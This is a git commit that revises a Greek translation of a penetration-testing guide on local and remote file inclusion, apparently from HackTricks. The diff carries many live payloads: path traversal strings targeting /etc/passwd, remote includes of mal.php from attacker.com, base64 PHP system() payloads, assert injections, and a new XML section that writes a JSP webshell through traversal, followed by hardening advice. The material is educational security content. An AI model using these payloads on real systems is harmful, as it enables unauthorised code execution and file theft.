Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:22:37 +00:00
parent 3b9366e774
commit 1a5ee9c9fc
2 changed files with 158 additions and 81 deletions

View File

@ -19,29 +19,29 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Συνδυάζοντας αρκετές λίστες LFI \*nix και προσθέτοντας περισσότερους διαδρομές, δημιούργησα αυτήν:**
**Συνδυάζοντας αρκετές λίστες LFI \*nix και προσθέτοντας περισσότερους διαδρόμους, δημιούργησα αυτήν:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε το `/` με `\`\
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Συγχώνευση διαφορετικών λιστών:
Συγχώνευση διαφορετικών λιστών λέξεων:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε το `/` με `\`\
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -95,11 +95,11 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν ο φάκελος `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -109,7 +109,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες ως η ίδια διαδρομή.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες η ίδια διαδρομή.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
- Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
@ -126,14 +126,14 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι γύρω στο 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
- **Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες**: Ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στην ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στη ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομών, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομών του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
**Αυτή η ευπάθεια διορθώθηκε στην PHP 5.3.**
### **Τεχνάσματα παράκαμψης φίλτρων**
### **Τεχνικές παράκαμψης φίλτρων**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -152,10 +152,10 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> [!TIP]
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
Ένα άλλο παράδειγμα **που δεν χρησιμοποιεί το πρωτόκολλο `php://`** θα ήταν:
Ένα άλλο παράδειγμα **χωρίς τη χρήση του πρωτοκόλλου `php://`** θα ήταν:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -226,10 +226,10 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να αποκτήσετε τη **λίστα όλων των υποστηριζόμενων κωδικοποιήσεων** εκτελέστε στην κονσόλα: `iconv -l`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να αποκτήσετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται, εκτελέστε στην κονσόλα: `iconv -l`
> [!WARNING]
> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες δείτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md).
> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες, ελέγξτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες)
@ -238,7 +238,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
- `mcrypt.*` : Απαρχαιωμένο
- `mdecrypt.*` : Απαρχαιωμένο
- Άλλα Φίλτρα
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικούς **αναπάντεχους φίλτρους**:
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **αναμενόμενα φίλτρα**:
- `consumed`
- `dechunk`: αναστρέφει την κωδικοποίηση HTTP chunked
- `convert.*`
@ -280,14 +280,14 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
- Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `a` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή a->b->c->d->e->f->g το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, είναι απαραίτητο να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Διότι αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, διότι αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, ρ, σ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στρέψουμε με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να εκτελεί αυτόματα αυτή τη διαδικασία: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως το `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -378,12 +378,12 @@ phar-deserialization.md
Ελέγξτε περισσότερα πιθανά [**πρωτόκολλα για να συμπεριληφθούν εδώ**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς μπορεί αυτό να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ρεύματα Συμπίεσης
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
@ -391,11 +391,11 @@ phar-deserialization.md
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την εισαγωγή κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -403,37 +403,83 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
Είναι σημαντικό να **URL-encode αυτές τις payloads**.
Είναι σημαντικό να **URL-κωδικοποιήσετε αυτά τα payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **λειτουργίας PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή πρόσβασης μέσω φίλτρου PHP για να **εξάγει το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**.
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **συνάρτηση PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **λειτουργία PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
Στη συνέχεια, προκειμένου να διαρρεύσει ο πρώτος χαρακτήρας, χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**.
**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Λειτουργίες που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο!
Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο!
## LFI2RCE
### Remote File Inclusion
### Αυθαίρετη Εγγραφή Αρχείου μέσω Διαδρομής Traversal (Webshell RCE)
Όταν ο κωδικός που εκτελείται στον διακομιστή που εισάγει/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ., ένα όνομα αρχείου ή URL) χωρίς να τα κανονικοποιεί και να τα επικυρώνει, τα τμήματα `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προορισμένο κατάλογο και να προκαλέσουν αυθαίρετη εγγραφή αρχείου. Εάν μπορείτε να τοποθετήσετε το payload κάτω από έναν δημόσια εκτεθειμένο κατάλογο, συνήθως αποκτάτε μη εξουσιοδοτημένη RCE ρίχνοντας μια webshell.
Τυπική ροή εκμετάλλευσης:
- Εντοπίστε μια πρωτοβουλία εγγραφής σε ένα endpoint ή background worker που δέχεται μια διαδρομή/όνομα αρχείου και γράφει περιεχόμενο στο δίσκο (π.χ., εισαγωγή με βάση μηνύματα, χειριστές εντολών XML/JSON, αποσυμπιεστές ZIP, κ.λπ.).
- Προσδιορίστε δημόσια εκτεθειμένους καταλόγους. Κοινά παραδείγματα:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → ρίξτε `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → ρίξτε `shell.aspx`
- Δημιουργήστε μια διαδρομή traversal που σπάει από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας.
- Περιηγηθείτε στο ρίχτη payload και εκτελέστε εντολές.
Σημειώσεις:
- Η ευάλωτη υπηρεσία που εκτελεί την εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ., ένας ακροατής JMF XML σε TCP 4004). Η κύρια διαδικτυακή πύλη (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
- Σε στοίβες Java, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή συγχώνευση `File`/`Paths`. Η έλλειψη κανονικοποίησης/λευκής λίστας είναι το κύριο σφάλμα.
Γενικό παράδειγμα στυλ XML/JMF (τα σχήματα προϊόντων διαφέρουν η περιτύλιξη DOCTYPE/body είναι ασήμαντη για τη διαδρομή traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
Hardening που καταπολεμά αυτή την κατηγορία σφαλμάτων:
- Επίλυση σε μια κανονική διαδρομή και επιβολή ότι είναι απόγονος ενός επιτρεπόμενου βασικού καταλόγου.
- Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες ή γράμματα δίσκων; προτίμηση σε παραγόμενα ονόματα αρχείων.
- Εκτέλεση του συγγραφέα ως λογαριασμός με χαμηλά δικαιώματα και διαχωρισμός των καταλόγων εγγραφής από τις ριζικές διαδρομές που εξυπηρετούνται.
## Remote File Inclusion
Εξηγήθηκε προηγουμένως, [**ακολουθήστε αυτόν τον σύνδεσμο**](#remote-file-inclusion).
### Μέσω αρχείου καταγραφής Apache/Nginx
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, ορίζοντας μέσα στον **user agent** ή μέσα σε μια **παράμετρο GET** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο.
